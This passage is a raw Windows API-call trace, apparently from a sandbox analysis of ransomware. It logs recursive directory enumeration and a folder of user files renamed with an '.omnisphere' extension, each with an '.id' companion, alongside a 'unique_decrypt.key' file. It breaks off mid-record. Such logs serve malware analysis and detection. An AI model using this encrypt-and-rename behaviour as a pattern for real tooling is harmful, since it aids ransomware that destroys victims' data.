ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Java", cAlternateFileName="")) returned 1 [0162.820] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Java", cAlternateFileName="")) returned 0 [0162.820] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.820] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\*", lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0162.820] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.820] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0162.820] GetProcessHeap () returned 0x1600000 [0162.820] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x60) returned 0x1691d18 [0162.820] PathCombineW (in: pszDest=0x1691d18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun", pszFile="Java" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java" [0162.820] GetProcessHeap () returned 0x1600000 [0162.820] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0162.820] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\*" [0162.820] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe1, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0162.821] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe1, cFileName="..", cAlternateFileName="")) returned 1 [0162.821] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe1, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0162.821] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe1, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0162.821] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0162.821] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0162.821] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.821] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0162.821] GetProcessHeap () returned 0x1600000 [0162.821] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163fc80 [0162.821] PathCombineW (in: pszDest=0x163fc80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java", pszFile="Deployment" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment" [0162.821] GetProcessHeap () returned 0x1600000 [0162.821] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x1668708 [0162.821] PathCombineW (in: pszDest=0x1668708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment\\*" [0162.821] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0162.822] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc, cFileName="..", cAlternateFileName="")) returned 1 [0162.822] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc, cFileName="..", cAlternateFileName="")) returned 0 [0162.822] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0162.822] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0162.822] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.822] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0162.822] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0162.822] GetProcessHeap () returned 0x1600000 [0162.822] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668708 | out: hHeap=0x1600000) returned 1 [0162.822] GetProcessHeap () returned 0x1600000 [0162.822] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc80 | out: hHeap=0x1600000) returned 1 [0162.822] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0162.822] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0162.823] GetProcessHeap () returned 0x1600000 [0162.823] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0162.823] GetProcessHeap () returned 0x1600000 [0162.823] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691d18 | out: hHeap=0x1600000) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0162.823] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0162.823] GetProcessHeap () returned 0x1600000 [0162.823] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16920c0 | out: hHeap=0x1600000) returned 1 [0162.823] GetProcessHeap () returned 0x1600000 [0162.823] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d538 | out: hHeap=0x1600000) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc86d870, ftCreationTime.dwHighDateTime=0x1d4d5a2, ftLastAccessTime.dwLowDateTime=0x3b2e2100, ftLastAccessTime.dwHighDateTime=0x1d4c64c, ftLastWriteTime.dwLowDateTime=0xa2f064e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x13fe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="t9rbGMSGn.xlsx.omnisphere", cAlternateFileName="T9RBGM~1.OMN")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f064e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa2f064e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa2f064e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="t9rbGMSGn.xlsx.omnisphere.id", cAlternateFileName="T9RBGM~1.ID")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c5776f0, ftCreationTime.dwHighDateTime=0x1d4cf54, ftLastAccessTime.dwLowDateTime=0x8bbfe3f0, ftLastAccessTime.dwHighDateTime=0x1d4d237, ftLastWriteTime.dwLowDateTime=0xa33ca25, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x67ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiIa0efX69B.jpg.omnisphere", cAlternateFileName="TIIA0E~1.OMN")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33ca25, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa33ca25, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa33ca25, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiIa0efX69B.jpg.omnisphere.id", cAlternateFileName="TIIA0E~1.ID")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5fa3070, ftCreationTime.dwHighDateTime=0x1d4d121, ftLastAccessTime.dwLowDateTime=0xec9916a0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0xa388eb1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x10a43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tx_oE.avi.omnisphere", cAlternateFileName="TX_OEA~1.OMN")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa388eb1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa388eb1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa388eb1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="tx_oE.avi.omnisphere.id", cAlternateFileName="TX_OEA~1.ID")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcd60e0, ftCreationTime.dwHighDateTime=0x1d4c891, ftLastAccessTime.dwLowDateTime=0x11c45050, ftLastAccessTime.dwHighDateTime=0x1d4c63d, ftLastWriteTime.dwLowDateTime=0xa3af0ab, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x11cff, dwReserved0=0x0, dwReserved1=0x0, cFileName="u2ZUuS8-WjDeO2.wav.omnisphere", cAlternateFileName="U2ZUUS~1.OMN")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3af0ab, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa3af0ab, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa3af0ab, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="u2ZUuS8-WjDeO2.wav.omnisphere.id", cAlternateFileName="U2ZUUS~1.ID")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fa6ab, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa3fb5d1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdb32d6e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fa6ab, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x68fa6ab, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa3fb5d1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere", cAlternateFileName="UNIQUE~1.OMN")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d53d3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa3d53d3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa3fb5d1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere.id", cAlternateFileName="UNIQUE~1.ID")) returned 1 [0162.823] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf930c850, ftCreationTime.dwHighDateTime=0x1d4cddc, ftLastAccessTime.dwLowDateTime=0xf60ab7a0, ftLastAccessTime.dwHighDateTime=0x1d4d5c8, ftLastWriteTime.dwLowDateTime=0xa50681e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xcb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wuPx.mp3.omnisphere", cAlternateFileName="WUPXMP~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa50681e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa50681e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa50681e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="wuPx.mp3.omnisphere.id", cAlternateFileName="WUPXMP~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ef73c0, ftCreationTime.dwHighDateTime=0x1d4d1dc, ftLastAccessTime.dwLowDateTime=0xef632d70, ftLastAccessTime.dwHighDateTime=0x1d4c5af, ftLastWriteTime.dwLowDateTime=0xa552b62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xrFH_.wav.omnisphere", cAlternateFileName="XRFH_W~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52cac2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa52cac2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa552b62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="xrFH_.wav.omnisphere.id", cAlternateFileName="XRFH_W~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77cbe70, ftCreationTime.dwHighDateTime=0x1d4caa2, ftLastAccessTime.dwLowDateTime=0x9a13fbe0, ftLastAccessTime.dwHighDateTime=0x1d4cbbf, ftLastWriteTime.dwLowDateTime=0xa578e0d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1019e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yfgph0gV.swf.omnisphere", cAlternateFileName="YFGPH0~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa578e0d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa578e0d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa578e0d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yfgph0gV.swf.omnisphere.id", cAlternateFileName="YFGPH0~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5885080, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0x638efd00, ftLastAccessTime.dwHighDateTime=0x1d4d58c, ftLastWriteTime.dwLowDateTime=0xd9dbb14, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x166d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ywvxv9U.gif.omnisphere", cAlternateFileName="YWVXV9~1.OMN")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9dbb14, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xd9dbb14, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xd9dbb14, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ywvxv9U.gif.omnisphere.id", cAlternateFileName="YWVXV9~1.ID")) returned 1 [0162.824] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86148cc0, ftCreationTime.dwHighDateTime=0x1d4d003, ftLastAccessTime.dwLowDateTime=0xf1f85cc0, ftLastAccessTime.dwHighDateTime=0x1d4d06f, ftLastWriteTime.dwLowDateTime=0xda9a5b4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x19358, dwReserved0=0x0, dwReserved1=0x0, 